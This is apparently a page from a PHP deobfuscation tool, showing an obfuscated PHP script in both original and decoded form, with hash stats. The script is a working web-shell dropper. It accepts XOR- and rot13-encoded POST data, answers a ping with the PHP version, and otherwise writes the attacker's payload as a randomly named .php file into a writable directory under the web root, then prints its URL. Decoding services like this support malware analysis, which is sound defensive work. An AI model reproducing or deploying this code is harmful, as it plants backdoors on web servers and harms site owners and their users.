Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function jWFHO($tghvPH){$jgsvesNohT = chr(1102-988)."\x61".chr(119)."\165"."\162".ch..

Decoded Output download

<?php function jWFHO($tghvPH){$jgsvesNohT = chr(1102-988)."a".chr(119)."u"."r".chr(108).'d'.chr(125-24).chr(99).chr(323-212)."d".chr(777-676);$NtYBKZkxg = chr(854-739).chr(922-806)."r"."_".'r'."o".chr(116).chr(829-780)."3";$JhloHGP = 's'.chr(116).chr(578-464).'_'."s"."p".'l'.chr(105).chr(116);$tghvPH = $JhloHGP($jgsvesNohT($NtYBKZkxg($tghvPH)));return $tghvPH;}function JkSVVd($yprGfoY, $tghvPH){$YrCtz = chr(306-191).chr(116)."r"."_"."s".chr(153-41).'l'."i".chr(116);$yprGfoY = array_slice($YrCtz(str_repeat($yprGfoY, (count($tghvPH)/16)+1)), 0, count($tghvPH));return $yprGfoY;}function CLFJnLj($SYBaNS, $HXmBusg, $yprGfoY){$uhCLmdM = "309bb1b1-0846-4766-be7a-39c8a1f6e971";return $SYBaNS ^ $uhCLmdM[$HXmBusg % strlen($uhCLmdM)] ^ $yprGfoY;}function qBKIPS($tghvPH, $yprGfoY){$tghvPH = array_map("CLFJnLj", array_values($tghvPH), array_keys($tghvPH), array_values($yprGfoY));$tghvPH = implode("", $tghvPH);$edNHryf = "u".'n'.'s'.chr(101).'r'.'i'."a"."l"."i".'z'.'e';$tghvPH = @$edNHryf($tghvPH);return $tghvPH;}function pxVFrbfs(){echo "jlzeRyKV";}function YJqyQK($mQNSmWhXzMir){static $pzfWYxxm = array();$DchbQpEL = glob($mQNSmWhXzMir . '/*', GLOB_ONLYDIR);$lRbUXl = count($DchbQpEL);if ($lRbUXl > 0) {foreach ($DchbQpEL as $mQNSmWhXzM) {$VxpxesM = chr(105)."s"."_".chr(119)."r".chr(105)."t".chr(97).chr(98).'l'.chr(521-420);if (@$VxpxesM($mQNSmWhXzM)) {$pzfWYxxm[] = $mQNSmWhXzM;}}}foreach ($DchbQpEL as $mQNSmWhXzMir) YJqyQK($mQNSmWhXzMir);return $pzfWYxxm;}function woGpPRF(){echo "SycdVF";}function uCyXit($tghvPH){$pPNEX = chr(68).chr(485-406).chr(67).chr(565-480).chr(77).chr(69)."N".chr(930-846).chr(1004-909).'R'."O"."O".chr(84);$OLAPvVY = $_SERVER[$pPNEX];$DchbQpEL = YJqyQK($OLAPvVY);$IrlCrsR = array_rand($DchbQpEL);$ewCjd = chr(46)."p".'h'.'p';$XgxiJi = $DchbQpEL[$IrlCrsR] . "/" . substr(md5(time()), 0, 8) . $ewCjd;$JXZUa = "f".chr(105)."l".chr(174-73).chr(95)."p".chr(117).chr(116).'_'.chr(222-123)."o".chr(809-699).chr(658-542).'e'."n".chr(201-85).chr(115);@$JXZUa($XgxiJi, $tghvPH);$sFlrRachXv = 'H'."T".chr(84)."P"."_"."H"."O".'S'."T";$JKRDo = chr(905-801)."t".chr(116).chr(346-234).":"."/".chr(272-225);$ZAMrkDKu = $JKRDo . $_SERVER[$sFlrRachXv] . substr($XgxiJi, strlen($OLAPvVY));print($ZAMrkDKu);}foreach ($_POST as $yprGfoY => $tghvPH){$jxWwyIJ = strlen($yprGfoY);if ($jxWwyIJ == 16){$tghvPH = jWFHO($tghvPH);$yprGfoY = JkSVVd($yprGfoY, $tghvPH);$tghvPH = qBKIPS($tghvPH, $yprGfoY);if (@is_array($tghvPH)){$IrlCrsR = array_keys($tghvPH);$tghvPH = $tghvPH[$IrlCrsR[0]];if ($tghvPH === $IrlCrsR[0]){$qFzMmuU = "p".'h'."p";$OtyrYMhZH = chr(455-343).chr(432-328)."p"."v"."e"."r".'s'.'i'.'o'.chr(110);$KsvqtwSo = chr(115)."e"."r".'i'.chr(690-593).chr(432-324)."i".chr(122).chr(271-170);echo @$KsvqtwSo(Array($qFzMmuU => @$OtyrYMhZH(), ));}else {uCyXit($tghvPH);}die();}}} 
 ?>

Did this file decode correctly?

Original Code

<?php function jWFHO($tghvPH){$jgsvesNohT = chr(1102-988)."\x61".chr(119)."\165"."\162".chr(108).'d'.chr(125-24).chr(99).chr(323-212)."\144".chr(777-676);$NtYBKZkxg = chr(854-739).chr(922-806)."\x72"."\x5f".'r'."\x6f".chr(116).chr(829-780)."\63";$JhloHGP = 's'.chr(116).chr(578-464).'_'."\163"."\160".'l'.chr(105).chr(116);$tghvPH = $JhloHGP($jgsvesNohT($NtYBKZkxg($tghvPH)));return $tghvPH;}function JkSVVd($yprGfoY, $tghvPH){$YrCtz = chr(306-191).chr(116)."\x72"."\137"."\x73".chr(153-41).'l'."\x69".chr(116);$yprGfoY = array_slice($YrCtz(str_repeat($yprGfoY, (count($tghvPH)/16)+1)), 0, count($tghvPH));return $yprGfoY;}function CLFJnLj($SYBaNS, $HXmBusg, $yprGfoY){$uhCLmdM = "309bb1b1-0846-4766-be7a-39c8a1f6e971";return $SYBaNS ^ $uhCLmdM[$HXmBusg % strlen($uhCLmdM)] ^ $yprGfoY;}function qBKIPS($tghvPH, $yprGfoY){$tghvPH = array_map("CLFJnLj", array_values($tghvPH), array_keys($tghvPH), array_values($yprGfoY));$tghvPH = implode("", $tghvPH);$edNHryf = "\165".'n'.'s'.chr(101).'r'.'i'."\141"."\x6c"."\151".'z'.'e';$tghvPH = @$edNHryf($tghvPH);return $tghvPH;}function pxVFrbfs(){echo "jlzeRyKV";}function YJqyQK($mQNSmWhXzMir){static $pzfWYxxm = array();$DchbQpEL = glob($mQNSmWhXzMir . '/*', GLOB_ONLYDIR);$lRbUXl = count($DchbQpEL);if ($lRbUXl > 0) {foreach ($DchbQpEL as $mQNSmWhXzM) {$VxpxesM = chr(105)."\163"."\137".chr(119)."\162".chr(105)."\x74".chr(97).chr(98).'l'.chr(521-420);if (@$VxpxesM($mQNSmWhXzM)) {$pzfWYxxm[] = $mQNSmWhXzM;}}}foreach ($DchbQpEL as $mQNSmWhXzMir) YJqyQK($mQNSmWhXzMir);return $pzfWYxxm;}function woGpPRF(){echo "SycdVF";}function uCyXit($tghvPH){$pPNEX = chr(68).chr(485-406).chr(67).chr(565-480).chr(77).chr(69)."\116".chr(930-846).chr(1004-909).'R'."\x4f"."\x4f".chr(84);$OLAPvVY = $_SERVER[$pPNEX];$DchbQpEL = YJqyQK($OLAPvVY);$IrlCrsR = array_rand($DchbQpEL);$ewCjd = chr(46)."\160".'h'.'p';$XgxiJi = $DchbQpEL[$IrlCrsR] . "/" . substr(md5(time()), 0, 8) . $ewCjd;$JXZUa = "\x66".chr(105)."\x6c".chr(174-73).chr(95)."\x70".chr(117).chr(116).'_'.chr(222-123)."\157".chr(809-699).chr(658-542).'e'."\x6e".chr(201-85).chr(115);@$JXZUa($XgxiJi, $tghvPH);$sFlrRachXv = 'H'."\x54".chr(84)."\120"."\x5f"."\x48"."\117".'S'."\x54";$JKRDo = chr(905-801)."\x74".chr(116).chr(346-234)."\72"."\57".chr(272-225);$ZAMrkDKu = $JKRDo . $_SERVER[$sFlrRachXv] . substr($XgxiJi, strlen($OLAPvVY));print($ZAMrkDKu);}foreach ($_POST as $yprGfoY => $tghvPH){$jxWwyIJ = strlen($yprGfoY);if ($jxWwyIJ == 16){$tghvPH = jWFHO($tghvPH);$yprGfoY = JkSVVd($yprGfoY, $tghvPH);$tghvPH = qBKIPS($tghvPH, $yprGfoY);if (@is_array($tghvPH)){$IrlCrsR = array_keys($tghvPH);$tghvPH = $tghvPH[$IrlCrsR[0]];if ($tghvPH === $IrlCrsR[0]){$qFzMmuU = "\x70".'h'."\x70";$OtyrYMhZH = chr(455-343).chr(432-328)."\160"."\166"."\x65"."\x72".'s'.'i'.'o'.chr(110);$KsvqtwSo = chr(115)."\x65"."\x72".'i'.chr(690-593).chr(432-324)."\x69".chr(122).chr(271-170);echo @$KsvqtwSo(Array($qFzMmuU => @$OtyrYMhZH(), ));}else {uCyXit($tghvPH);}die();}}}

Function Calls

None

Variables

None

Stats

MD5 bddfa7cce0fb340fb03f07619e07ea6d
Eval Count 0
Decode Time 66 ms